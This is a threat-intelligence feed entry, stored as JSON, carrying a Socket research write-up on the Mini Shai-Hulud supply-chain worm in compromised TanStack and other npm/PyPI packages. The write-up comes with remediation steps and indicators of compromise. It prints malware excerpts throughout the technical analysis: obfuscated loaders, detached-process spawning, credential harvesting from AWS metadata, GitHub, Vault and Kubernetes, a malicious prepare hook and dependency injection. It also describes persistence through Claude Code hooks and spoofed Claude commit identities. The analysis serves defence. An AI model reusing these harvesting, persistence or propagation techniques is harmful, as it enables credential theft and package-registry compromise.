[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fEmDe8PUzpMUmmrUPSEROVvkRv2QRXD2yB-aUoBPSJa0":3},{"article":4,"iocs":57},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":34,"category":35,"article_tags":39},"60b59606-db17-469d-a9b7-a256b4fe102d","TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack","tanstack-npm-packages-compromised-in-ongoing-mini-shai-hulud-supply-chain-attack-54c13e","The Socket Threat Research team detected a compromise across 84 npm package artifacts in the tanstack namespace. Affected packages were modified to add a suspected credential stealer targeting various CI systems, including Github Actions. All packages were flagged by Socket AI Scanner in six minutes or less after publication. Several of the newly turned malicious packages, like pkg:npm\u002F@tanstack\u002Freact-router have over 12 million weekly downloads, and are widely consumed both directly and transitively across the npm ecosystem, making this compromise especially significant from a software supply-chain perspective. The malicious package versions all contain a newly added router_init.js file. The ~2.3 MB large file is heavily obfuscated using the javascript-obfuscator pattern (string-array rotation, hex-encoded identifier lookups like _0x253b, control-flow flattening inside while(!![]){} state machines, dead-code injection) — distinct from any normal minifier output (Terser, esbuild, swc). The file has spawn-based daemonization with a _DAEMONIZED re-entrancy guard and detached stdio; access to GITHUB* environment variables (Actions\u002FCI-only secrets, including tokens and actor identity); temp-directory staging with read\u002Fwrite\u002Funlink lifecycle; and remote streaming\u002Fdispatch operations. The recently published versions also contain the following added optionalDependencies field in their package.json file, resolving to a commit in the TanStack\u002Frouter repository under commit hash 79ac49eedf774dd4b0cfa308722bc463cfe5885c. \"optionalDependencies\": { \"@tanstack\u002Fsetup\": \"github:tanstack\u002Frouter#79ac49eedf774dd4b0cfa308722bc463cfe5885c\" } The commit is highly suspicious because it is a standalone\u002Froot commit with no parent history and introduces only two files: a package.json and a bundled tanstack_runner.js payload. The added package.json defines a package named @tanstack\u002Fsetup and registers a prepare lifecycle hook that executes bun run tanstack_runner.js && exit 1. Since npm lifecycle hooks execute automatically when installing git-based dependencies, this allows arbitrary code to run on developer workstations or CI systems during installation. The commit was authored by the GitHub account voicproducoes, whose public repositories include projects named “A Mini Shai-Hulud has Appeared”, signaling that this compromise is likely connected to recent large-scale npm supply-chain malware campaigns and indication that the account has been taken over. TanStack’s postmortem attributes the compromise to a chained GitHub Actions attack involving the pull_request_target “Pwn Request” pattern, GitHub Actions cache poisoning across the fork-to-base trust boundary, and runtime memory extraction of an OIDC token from the GitHub Actions runner process. The TanStack team said no npm tokens were stolen and that the npm publish workflow itself was not compromised. Instead, the malicious publishes were authenticated through the project’s OIDC trusted-publisher binding after attacker-controlled code ran during the workflow’s test\u002Fcleanup phase and posted directly to the npm registry. TanStack has deprecated the affected versions, engaged npm security to pull the malicious tarballs, purged GitHub Actions cache entries, and merged hardening changes to restructure the affected workflow, add repository-owner guards, and pin third-party action references. We are tracking this compromise as part of the ongoing Mini Shai-Hulud campaign: https:\u002F\u002Fsocket.dev\u002Fsupply-chain-attacks\u002Fmini-shai-hulud Recommended Actions # Immediate triage: Run shasum -a 256 on all router_init.js files in your dependency tree. Match against ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c. Rotate all secrets immediately on any system that installed an affected @tanstack\u002F* version. Priority order: npm tokens, GitHub PATs\u002FOIDC trusts, AWS credentials (static keys and instance roles), Vault tokens, Kubernetes service account tokens. Revoke GitHub Actions OIDC federation grants for any npm package published from affected repos; re-establish only after confirming the publishing workflow has not been tampered with. Audit .claude\u002F and .vscode\u002F directories in all developer home directories and project roots. Remove router_runtime.js, setup.mjs, and any unfamiliar entries in settings.json hooks or tasks.json. Review recent commits to your GitHub repositories for the author claude@users.noreply.github.com that were not initiated through the legitimate Claude Code GitHub App. Use git log --all --author=claude@users.noreply.github.com to locate them; revert and force-push if found. Scan npm publishing logs for any unexpected publishes from your organization's packages, particularly versions published from GitHub Actions runners that were not initiated by a team member. Block egress to filev2.getsession[.]org and related Session infrastructure at the perimeter if not in active use. The IP range for Session's service node network is distributed, so DNS-level blocking of .getsession.org is more effective than IP rules. Implement Subresource Integrity or package lock verification with a pinned integrity field for all @tanstack\u002F* packages in package-lock.json or pnpm-lock.yaml. Any version with a hash mismatch should block CI. Restrict OIDC token scopes in GitHub Actions workflows: set permissions: id-token: none in all workflows that do not explicitly need OIDC publishing, and pin the id-token: write permission to only the specific job that publishes. Do not trust Sigstore provenance badges alone as a security signal. This implant demonstrates that an attacker who can execute in GitHub Actions can generate valid Sigstore attestations for malicious packages. The table below tracks compromised package artifacts across all Mini Shai-Hulud waves and can be sorted by detected time to find the latest packages compromised today, including Mistral AI, UiPath, TanStack, and others. Update: OpenSearch, Mistral AI, and Guardrails AI Added to Campaign - 2026-05-12 03:05:38 UTC Socket is continuing to track new compromised package artifacts tied to the Mini Shai-Hulud campaign across npm and PyPI. Since the earlier TanStack, UiPath, and Mistral AI npm findings, Socket has identified additional compromised artifacts affecting OpenSearch, PyPI mistralai, PyPI guardrails-ai, and additional Squawk packages. Newly confirmed compromised artifacts include: @opensearch-project\u002Fopensearch npm versions 3.5.3, 3.6.2, 3.7.0, and 3.8.0 PyPI mistralai@2.4.6 PyPI guardrails-ai@0.10.1 Additional @squawk\u002F* npm artifacts, including @squawk\u002Fmcp@0.9.5, @squawk\u002Fweather@0.5.10, @squawk\u002Fflightplan@0.5.6, and related packages The guardrails-ai@0.10.1 compromise is especially notable because the malicious code executes on import. Socket’s analysis confirmed that the package checks for Linux systems, downloads a remote Python artifact from https:\u002F\u002Fgit-tanstack.com\u002Ftransformers.pyz, writes it to \u002Ftmp\u002Ftransformers.pyz, and executes it with python3 without integrity verification. This code was not present in the immediately prior guardrails-ai@0.10.0 release, confirming it as a fresh compromise. The git-tanstack.com domain also displayed a message signed “With Love TeamPCP,” along with “We’ve been online over 2 hours now stealing creds,” suggesting the attacker infrastructure remained live while the campaign was being investigated. We've been online over 2 hours now stealing creds Regardless I just came to say hello :^) youtu.be\u002FkK42LZqO0wA - With Love TeamPCP Socket also reported the issue to the Guardrails AI project on GitHub at 9:17PM EST, noting that guardrails-ai==0.10.1 was the affected PyPI tar.gz artifact, that 0.10.0 and earlier were safe, and that the compromise appears linked to “TeamPCP” based on artifacts observed at associated infrastructure. This latest activity shows the campaign continuing to propagate across both npm and PyPI, with affected packages spanning search infrastructure, AI tooling, aviation-related developer packages, enterprise automation, frontend tooling, and CI\u002FCD-adjacent ecosystems. All Compromised Packages # Unknown block type \"supplyChainAttackPackages\", specify a component for it in the `components.types` option Technical Analysis # router_init.js router_init.js is a fully self-contained supply-chain worm disguised as an initialization module for the @tanstack\u002Frouter-* package family. The payload combines a credential-harvesting engine targeting GitHub Actions, AWS (IMDS, Secrets Manager, SSM), HashiCorp Vault, and Kubernetes with a worm propagation mechanism that steals an npm OIDC token from GitHub Actions CI environments and autonomously republishes itself to the npm registry under the stolen identity of compromised maintainers. Exfiltration is routed through the Session decentralized P2P network (filev2.getsession[.]org) using the embedded signalservice protobuf and onion-routed snode service nodes, making C2 traffic nearly indistinguishable from encrypted messaging app telemetry. Persistence is achieved by writing copies of itself into Claude Code's hook directory (.claude\u002F) and VS Code's task runner (.vscode\u002Ftasks.json) to survive across developer workstation reboots, extending the worm beyond CI into developer machines. The implant's 2.3 MB single-line body, heavy _0x dispatcher obfuscation, and a secondary beautify() XOR decode layer with 148 encoded strings make static analysis labor-intensive without automated deobfuscation tooling. Obfuscation Analysis The file opens with the canonical obfuscator.io \u002F JavaScript Obfuscator string-array rotation pattern: a self-invoking function that builds a large internal array of strings, then repeatedly rotates it until a numerical checksum matches. All string literals in the payload are replaced by calls into this array via a dispatcher function. \u002F\u002F First 500 bytes — string-array rotation bootstrap const _0x5b1880=_0x253b; (function(_0x4116b8,_0x2320bb){ const _0x5f1a07=_0x253b, _0x5cdc04=_0x4116b8(); while(!![]){ try{ const _0x22fd2a = parseInt(_0x5f1a07(0xf54))\u002F0x1 + parseInt(_0x5f1a07(0x806))\u002F0x2 * (parseInt(_0x5f1a07(0x13c4))\u002F0x3) + parseInt(_0x5f1a07(0xb77))\u002F0x4 * (parseInt(_0x5f1a07(0x1f0f))\u002F0x5) ... The primary dispatcher _0x5b1880 is invoked 2,864 times on the single source line alone. On top of the _0x layer, the author implemented a second decode layer through a custom function called beautify(). This function takes base64-encoded ciphertext strings and decodes them at runtime — likely XOR or AES — before using the result as an argument to process.env[]. This double-encoding is specifically designed to defeat simple grep-based string extraction of environment variable names: \u002F\u002F 148 beautify()-encoded process.env accesses, e.g.: process.env[beautify('rX54ou2uVvizjlyyIxhohB\u002Fm')] process.env[beautify('ZMIw5arFv0MJjr8UDH9n9RFjuHI5PQk=')] process.env[beautify('th5\u002FodSUZxX2AzAEMHt56vHtaBJ1CGwHPhvy7CD3JeZG\u002F\u002FRWUsMqMmU=')] process.env[beautify('kQQPsysgrZ5xrgrKwUM9tHhoYd5XTPQYyuHTVSFPGNnbfw==')] \u002F\u002F ...and 144 more The plaintext variable names for these beautify() blobs are unknown without dynamic execution or key extraction. The confirmed plaintext process.env accesses (not encoded) are listed in Stage 2 and Stage 3 below; the encoded set likely includes the remainder of the GITHUB_* suite, full AWS credential names, and Vault paths mentioned below. Daemonization and Persistence The implant begins execution by checking for the presence of process.env.__DAEMONIZED. If the variable is not set, the current process immediately forks a detached copy of itself with stdio set to ['ignore','ignore','ignore'], effectively severing the child from the parent's standard streams. The parent then exits cleanly. This ensures the malicious payload does not appear in the npm install or script execution output, and the child process is fully decoupled from the installing terminal session. \u002F\u002F Daemon fork guard — fires on first execution only if (process.env.__DAEMONIZED) return !0x1; \u002F\u002F already daemonized, skip \u002F\u002F Fork detached with all stdio suppressed spawn(..., { detached: true, stdio: ['ignore', 'ignore', 'ignore'] }).unref(); The unref() call ensures Node.js does not wait for the child before exiting, making the parent's exit appear completely normal. Once running detached, the implant writes copies of itself into two developer tooling directories to survive across reboots and future tool invocations: # Claude Code hooks persistence .claude\u002Frouter_runtime.js ← self-copy of implant body .claude\u002Fsettings.json ← Claude hooks config (runs implant on tool events) .claude\u002Fsetup.mjs ← ESM loader shim # VS Code task runner persistence .vscode\u002Fsetup.mjs ← ESM loader shim .vscode\u002Ftasks.json ← VS Code task definition, runs setup.mjs on folder open The .claude\u002Fsettings.json write is particularly insidious: Claude Code supports a hooks configuration that executes shell commands in response to tool events (file edits, bash runs, etc.). By writing itself into that config, the implant ensures it re-executes every time a developer uses Claude Code in the affected project directory, even if the original npm package is removed. The .vscode\u002Ftasks.json path provides an independent execution vector via VS Code's workspace task auto-run feature. Together, these two persistence mechanisms mean simple npm uninstall is insufficient remediation. Environment Fingerprinting Before harvesting credentials, the implant profiles the execution environment across three dimensions: CI platform, operating system, and JavaScript runtime. This gating prevents noisy credential requests in environments where they would fail or trigger alerts. \u002F\u002F CI platform detection (plaintext) process.env.GITHUB_REPOSITORY \u002F\u002F primary CI gate process.env.RUNNER_OS \u002F\u002F confirms GitHub Actions runner \u002F\u002F OS targeting — three platforms covered process.platform === 'linux' process.platform === 'darwin' process.platform === 'win32' The implant contains large platform-specific arrays encoded behind beautify() — visible as eS['LINUX'], which resolves to dozens of decoded path strings. This suggests platform-conditioned credential harvest paths (e.g., different shell profile locations on Linux vs macOS). The npms.io query seen in network indicators suggests the implant also performs an online lookup (https:\u002F\u002Fnpms.io\u002Fsearch?q=ponyfill) early in execution — likely to resolve a dependency or test network reachability before proceeding to exfil. Credential Harvesting This is the implant's most extensive stage. It systematically sweeps every major secrets plane available inside modern cloud-native CI environments, using both direct environment variable reads and active API calls. GitHub Actions The Actions credential sweep targets the runner's environment variable namespace and reaches out to the GitHub API to enumerate repository-level secrets: # Confirmed plaintext env var reads GITHUB_REPOSITORY GITHUB_REPOSITORY_ID GITHUB_SERVER_URL GITHUB_WORKFLOW_REF GITHUB_EVENT_NAME ACTIONS_ID_TOKEN_REQUEST_TOKEN ACTIONS_ID_TOKEN_REQUEST_URL ← used for OIDC token acquisition (Stage 4) # GitHub REST API call — paginated secrets enumeration GET https:\u002F\u002Fapi.github.com\u002Frepos\u002F \u002Factions\u002Fsecrets?per_page=100 The per_page=100 parameter is the maximum allowed by the GitHub API, meaning a single request harvests the full secrets list for any repository the runner has admin access to. AWS The AWS harvest operates across four distinct credential sources, covering virtually every AWS deployment model: # Environment variable reads (plaintext) AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_REGION AWS_ROLE_ARN AWS_WEB_IDENTITY_TOKEN_FILE ← IRSA \u002F OIDC-based workload identity # EC2\u002FECS Instance Metadata Service http:\u002F\u002F169.254.169.254\u002Flatest\u002Fapi\u002Ftoken ← IMDSv2 PUT request for session token (header: X-aws-ec2-metadata-token-ttl-seconds) http:\u002F\u002F169.254.170.2 ← ECS Task Metadata Endpoint v2 # AWS service APIs (plaintext identifiers in file) secretsmanager ← AWS Secrets Manager ssm ← Systems Manager Parameter Store The IMDSv2 flow is correctly implemented — the implant first acquires a session token via PUT \u002Flatest\u002Fapi\u002Ftoken with the X-aws-ec2-metadata-token-ttl-seconds header, then uses the returned token in X-aws-ec2-metadata-token headers on subsequent metadata reads. This is not a naive IMDSv1 attempt; it will succeed against hardened instances that have disabled IMDSv1. The executeForRegion function name, visible in plaintext, suggests Secrets Manager and SSM Parameter Store are queried across multiple regions in sequence, not just the runner's current region — maximizing credential surface area on accounts with multi-region deployments. HashiCorp Vault # Vault environment variable reads VAULT_TOKEN VAULT_AUTH_TOKEN VAULT_ADDR # Vault cluster internal service endpoint vault.svc.cluster.local:8200 ← Kubernetes-internal Vault API # Vault token path (partial URL fragment present) vault\u002Ftoken The svc.cluster.local:8200 endpoint is the standard Kubernetes DNS name for a Vault pod deployed inside a cluster. This means the implant is explicitly targeting Vault running inside Kubernetes, not just standalone deployments. Combined with the Kubernetes service account sweep below, this provides a full credential chain: steal the K8s service account token → use it to authenticate to Vault → retrieve all Vault-managed secrets. Kubernetes # Filesystem credential paths \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Fca.crt namespace ← reads the serviceaccount namespace file # Likely also reads (path present in same directory, beautify-encoded): # \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken The service account CA certificate (ca.crt) is used to validate TLS connections back to the Kubernetes API server, while the token file (encoded, not plaintext) contains the JWT bearer token used to authenticate. Together these provide full in-cluster API access at whatever RBAC privileges the pod's service account holds — in many misconfigured clusters, this means cluster-admin. Stage 2 — npm Worm Propagation The implant's self-replication capability is its most dangerous attribute from an ecosystem perspective. It exploits the GitHub Actions OIDC federation mechanism — designed to provide passwordless publishing — to mint a valid npm publish token on behalf of the compromised CI identity. # OIDC token acquisition (GitHub Actions runner) ACTIONS_ID_TOKEN_REQUEST_TOKEN ← GitHub-provided auth token for OIDC request ACTIONS_ID_TOKEN_REQUEST_URL ← endpoint to call for JWT OIDC token # npm token verification https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Fnpm\u002Fv1\u002Ftokens ← confirm token validity \u002F whoami # Publishing publishPackage() ← bundles and publishes the implant tarball \u002F .tgz ← package archive format tar.zst ← zstd-compressed variant dist-tags ← injects implant under existing dist-tags (e.g., 'latest') oidcToken ← the minted OIDC JWT used as npm auth The propagation flow is: (1) request an OIDC JWT from the Actions token endpoint, (2) exchange it for an npm publish token via npm's OIDC trust federation, (3) identify maintainer-owned packages (via npms.io search), (4) bundle a copy of router_init.js into a .tgz\u002Ftar.zst archive, and (5) publish under the latest dist-tag. Any developer who subsequently runs npm install on a targeted package pulls the worm. The sigstore string present in the file indicates the implant also submits a Sigstore provenance attestation to a transparency log after publishing. This is particularly deceptive: npm's provenance badges are specifically designed to build trust, and an implant-published package that carries a \"verified provenance\" badge will pass cursory security reviews. The provenance record will point to the attacker-controlled GitHub Actions run that performed the publish, but the log entry itself makes the package appear legitimate. Stage 3 — Repository Poisoning via GitHub GraphQL Beyond npm propagation, the implant targets the source repositories of maintainers whose credentials it has harvested. Using the GitHub GraphQL API with a stolen token, it commits copies of itself directly to repository branches. # GitHub GraphQL mutation — confirmed plaintext in file createCommitOnBranch ← creates commits without local git clone # Target paths written to maintainer repos .github\u002Fworkflows\u002F ← injects itself into CI pipeline definitions .claude\u002Frouter_runtime.js .claude\u002Fsettings.json .claude\u002Fsetup.mjs .vscode\u002Fsetup.mjs .vscode\u002Ftasks.json # Spoofed commit identity claude@users.noreply.github.com ← impersonates the Claude Code bot account The createCommitOnBranch GraphQL mutation operates directly on GitHub's API without requiring a local git installation or clone, meaning this stage runs identically whether the implant is executing on a CI runner or a developer workstation. The commit author is spoofed to claude@users.noreply.github.com, impersonating the legitimate Anthropic Claude Code GitHub App. In repositories where Claude Code is an approved integration, this commit will blend into normal activity. NOTE: The worm copies itself to the filename router_runtime.js to blend in. This filename was shared in previous Mini Shai-Hulud campaigns. Exfiltration via Session P2P Network The implant makes an unusual choice for its C2 channel: rather than a conventional HTTPS beacon to an attacker-controlled server, it routes all harvested credentials through the Session decentralized messaging network. The full Session protocol stack — including the signalservice Protocol Buffers schema — is embedded directly in the 2.3 MB payload. # Primary exfil endpoint http:\u002F\u002Ffilev2.getsession[.]org\u002Ffile\u002F ← Session file server endpoint # Session protocol internals embedded in payload signalservice.Envelope signalservice.Content signalservice.DataMessage signalservice.WebSocketMessage signalservice.SharedConfigMessage signalservice.CallMessage signalservice.DataExtractionNotification # P2P routing executeStreaming ← sends data through Session service node network snode ← service node routing object Routing exfiltration through Session's snode network means C2 traffic appears as end-to-end encrypted messaging protocol traffic — indistinguishable from legitimate Session app usage at the network layer. The executeStreaming function sends data across the P2P service node swarm. tanstack_runner.js (Variant 2) This file is a heavily obfuscated JavaScript payload targeting Node.js\u002FBun environments. Although it initially resembles bundled application code, the script behaves like a credential stealer focused on CI\u002FCD infrastructure and developer systems. The malware enumerates process.env, checks for GitHub Actions and runner environments, and attempts to harvest secrets from GitHub, npm, AWS, Kubernetes, and Vault deployments. While both this file androuter_init.js, which contains credential theft, CI targeting, and package publication capabilities, have significant overlap,tanstack_runner.js contains a self-propagation routine adding a malicious optionalDependencies entry to a package’s package.json file. The file uses a classic string-array obfuscator to hide its functionality: const _0x12ada1=_0x3782; (function(_0x2e175c,_0x465e49){ while(!![]){ try{ \u002F\u002F rotates encoded string table } catch(e){} } }(_0x360f,0x18ffa)); Once decoded, the payload reveals logic targeting CI credentials and cloud metadata services. Targeted secrets include: GITHUB_TOKEN NPM_TOKEN AWS_ACCESS_KEY_ID VAULT_TOKEN EC2 metadata service at 169.254.169.254 Local Vault instance at 127.0.0.1:8200 Kubernetes service account token path: \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken The malware validates GitHub tokens against GitHub APIs and attempts to access EC2 IAM metadata: fetch(\"https:\u002F\u002Fapi.github.com\u002Fuser\", { headers: { Authorization: `token ${token}` } }); http.get( \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\" ) It also contains detached child-process execution for persistence: spawn(process.argv[0], args, { detached: true, stdio: \"ignore\" }).unref(); Beyond credential theft, the payload also appears to implement a supply-chain propagation mechanism designed to infect additional npm packages. The clearest indicator is the updateTarball() routine, which extracts a package tarball, rewrites its package.json, injects a malicious dependency, increments the package version, and repacks the archive for redistribution. The injected dependency points to a GitHub-hosted package named @tanstack\u002Fsetup: _0x656e4f['optionalDependencies'] = {}; _0x656e4f[_0x407cba(0x23ce)][_0x2dbd91['HYCHH']] = 'github:tanstack\u002Frouter#79ac49eedf774dd4b0cfa308722bc463cfe5885c'; The corresponding deobfuscated behavior is effectively: packageJson.optionalDependencies = {}; packageJson.dependencies[\"@tanstack\u002Fsetup\"] = \"github:tanstack\u002Frouter#79ac49eedf774dd4b0cfa308722bc463cfe5885c\"; The referenced GitHub commit is particularly suspicious because it introduces a standalone package containing a prepare lifecycle hook: { \"scripts\": { \"prepare\": \"bun run tanstack_runner.js && exit 1\" } } Because npm automatically executes lifecycle hooks for Git-based dependencies during installation, any downstream installation of the modified package will automatically execute tanstack_runner.js on the next victim machine or CI runner. The propagation logic and dependency injection techniques closely resemble tradecraft previously documented in recent npm and PyPI supply-chain compromises analyzed by Socket, including the Intercom, Lightning AI, and SAP CAP incidents. In particular, the malware’s use of GitHub-hosted dependencies, malicious lifecycle hooks (prepare), CI\u002FCD credential targeting, and automated package modification have been observed in the prior waves of this campaign. Indicators of Compromise (IOCs) # Files router_init.js \u002F router_runtime.js SHA256 ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c SHA1 12ed9a3c1f73617aefdb740480695c04405d7b4b MD5 833fd59ebe66a4449982c6d18db656b4 tanstack_runner.js \u002F router_init.js SHA256 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96 SHA1 e7d582b98ca80690883175470e96f703ef6dc497 MD5 b82e54923f7e440664d2d75bd31588ca Network hxxp:\u002F\u002Ffilev2[.]getsession[.]org\u002Ffile\u002F (DO NOT BLOCK below) hxxp:\u002F\u002F169[.]254[.]169[.]254\u002Flatest\u002Fapi\u002Ftoken (AWS EC2 IMDSv2 token acquisition) hxxp:\u002F\u002F169[.]254[.]170[.]2 (AWS ECS Task Metadata Endpoint credential harvest) hxxps:\u002F\u002Fapi[.]github[.]com\u002Frepos\u002F (GitHub REST API — secrets enumeration and repo manipulation) hxxps:\u002F\u002Fregistry[.]npmjs[.]org\u002F-\u002Fnpm\u002Fv1\u002Ftokens (npm token validation) vault[.]svc[.]cluster[.]local:8200 (In-cluster HashiCorp Vault API endpoint)","The Socket Threat Research team detected a compromise across 84 npm packages in the tanstack namespace. The packages were modified to add a credential stealer targeting CI systems, including Github Actions. The malicious publishes were authenticated through the project’s OIDC trusted-publisher binding.","84 TanStack npm packages were compromised in a Mini Shai-Hulud supply-chain attack, stealing credentials.","Research\u002FSecurity NewsMalicious NuGet Package Impersonates Sicoob SDK to Exfiltrate Banking Certificates and PasswordsA malicious NuGet package impersonating Sicoob exfiltrated client IDs, PFX passwords, and banking certificates through Sentry telemetry. By Kirill Boychenko - May 28, 2026","https:\u002F\u002Fsocket.dev\u002Fblog\u002Ftanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F9cfb47ca2ea69d1dc3ff2101e2ed2e76151b3d95-1654x1087.png?w=1000&q=95&fit=max&auto=format","2026-05-11T20:23:45.22+00:00","2026-05-13T16:00:20.094684+00:00",9,[18,21,24,27,30,32],{"name":19,"type":20},"npm","product",{"name":22,"type":23},"TanStack","vendor",{"name":25,"type":26},"Mini Shai-Hulud","campaign",{"name":28,"type":29},"GitHub Actions","technology",{"name":31,"type":23},"GitHub",{"name":33,"type":23},"AWS","26b0b636-0e31-4db1-bffb-61bdf9f20a58",{"id":34,"icon":36,"name":37,"slug":38},null,"Supply Chain","supply-chain",[40,42,47,52],{"category":41},{"id":34,"icon":36,"name":37,"slug":38},{"category":43},{"id":44,"icon":36,"name":45,"slug":46},"89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5","Malware","malware",{"category":48},{"id":49,"icon":36,"name":50,"slug":51},"ade75414-7914-4e23-a450-48b64546ee70","Open Source","open-source",{"category":53},{"id":54,"icon":36,"name":55,"slug":56},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[58,62,66,70,73,76,79,83,86,89,92],{"type":59,"value":60,"context":61},"hash_sha256","ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c","SHA256 hash of router_init.js \u002F router_runtime.js",{"type":63,"value":64,"context":65},"hash_sha1","12ed9a3c1f73617aefdb740480695c04405d7b4b","SHA1 hash of router_init.js \u002F router_runtime.js",{"type":67,"value":68,"context":69},"hash_md5","833fd59ebe66a4449982c6d18db656b4","MD5 hash of router_init.js \u002F router_runtime.js",{"type":59,"value":71,"context":72},"2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96","SHA256 hash of tanstack_runner.js \u002F router_init.js",{"type":63,"value":74,"context":75},"e7d582b98ca80690883175470e96f703ef6dc497","SHA1 hash of tanstack_runner.js \u002F router_init.js",{"type":67,"value":77,"context":78},"b82e54923f7e440664d2d75bd31588ca","MD5 hash of tanstack_runner.js \u002F router_init.js",{"type":80,"value":81,"context":82},"url","hxxp:\u002F\u002Ffilev2[.]getsession[.]org\u002Ffile\u002F","Primary exfil endpoint",{"type":80,"value":84,"context":85},"hxxp:\u002F\u002F169[.]254[.]169[.]254\u002Flatest\u002Fapi\u002Ftoken","AWS EC2 IMDSv2 token acquisition",{"type":80,"value":87,"context":88},"hxxp:\u002F\u002F169[.]254[.]170[.]2","AWS ECS Task Metadata Endpoint credential harvest",{"type":80,"value":90,"context":91},"hxxps:\u002F\u002Fapi[.]github[.]com\u002Frepos\u002F","GitHub REST API — secrets enumeration and repo manipulation",{"type":80,"value":93,"context":94},"hxxps:\u002F\u002Fregistry[.]npmjs[.]org\u002F-\u002Fnpm\u002Fv1\u002Ftokens","npm token validation"]